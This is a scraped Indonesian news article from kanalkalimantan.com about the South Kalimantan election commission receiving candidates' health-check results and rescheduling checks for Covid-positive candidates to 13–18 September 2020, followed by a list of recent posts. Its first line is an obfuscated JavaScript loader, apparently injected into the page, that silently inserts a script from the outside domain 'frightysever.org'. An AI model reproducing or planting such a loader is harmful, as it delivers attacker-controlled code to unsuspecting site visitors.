(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Dijadwal Ulang, 8 Balon Kepala Daerah Positif Covid-19 Tes Kesehatan 13-18 September


KANALKALIMANTAN.COM, BANJARMASIN – KPU Provinsi Kalimantan Selatan terima hasil pemeriksaan kesehatan bakal pasangan calon (Bapaslon) Pilkada di Kalsel, Jumat (11/9/2020). Hasil pemeriksaan diserahkan oleh RSUD Ulin Banjarmasin kepada KPU Provinsi Kalsel dan KPU kabupaten/kota yang menyelenggarakan Pilkada.

Menurut Komisioner KPU Provinsi Kalsel Divisi Teknis Penyelenggaraan, Dr Hatmiati, tahapan selanjutnya yang akan dilakukan yaitu menggelar rapat pleno, sekaligus rapat persiapan untuk penetapan pasangan calon pada 23 September 2020, dan pengundian nomor urut pasangan calon pada 24 September 2020 mendatang.

Disinggung adanya bakal calon kepala daerah yang terkonfirmasi positif Covid-19, Hatmiati menyebut pihaknya telah melakukan rapat koordinasi dengan RSUD Ulin Banjarmasin, Ikatan Dokter Indonesia (IDI) dan BNN Provinsi Kalsel.

“Untuk pemeriksaan kesehatan lanjutan bagi bakal calon kepala daerah yang terkonfirmasi positif Covid-19 itu, dijadwalkan pada tanggal 13-18 September mendatang.

Kemudian tanggal 21 September itu akan dilakukan penyerahan hasil pemeriksaan kesehatan bagi calon yang tertunda itu,” papar Hatmiati, Jumat (11/9/2020) siang.

Tujuannya agar bapaslon yang tertunda menjalani pemeriksaan kesehatan, dapat mengikuti penetapan pasangan calon yang akan dilangsungkan pada 23 September 2020 mendatang. Dengan catatan, syarat pencalonannya masih terpenuhi.

Bapaslon yang mengalami penundaan pemeriksaan kesehatan, imbuh Hatmiati, ada di 5 kabupaten dan kota di Kalsel yang menyelenggarakan Pilkada Serentak. Yaitu di Kabupaten Banjar, Kota Banjarmasin, Kota Banjarbaru, Kabupaten Tanah Bumbu dan Kabupaten Kotabaru.

“Kita sudah melakukan koordinasi dengan KPU kabupaten/kota dan tim kesehatan tadi,” lugasnya.

Hasil pemeriksaan sendiri tidak untuk diumumkan. Namun, untuk memenuhi syarat pencalonan bapaslon di Pilkada di Kalsel. “Nantinya kita sampaikan, misalnya yang bersangkutan memenuhi syarat, untuk melanjutkan pencalonan,” ucap Hatmiati.

Namun begitu, Hatmiati masih belum membuka hasil pemeriksaan. Karena, hasil pemeriksaan kesehatan sendiri akan diumumkan pada 13-14 September 2020 mendatang.

“Itu akan diberitakan kepada masyarakat. Jadi kami melakukan rapat pleno nanti, pada tanggal 13 September nanti kami akan mengundang bapaslon dan instansi terkait untuk menyampaikan hasilnya,” tandas Hatmiati. (kanalkalimantan.com/fikri)

 

Reporter: Fikri
Editor : Bie


Desy Arfianty

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

3 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

3 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

4 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

4 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

4 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

6 jam ago

This website uses cookies.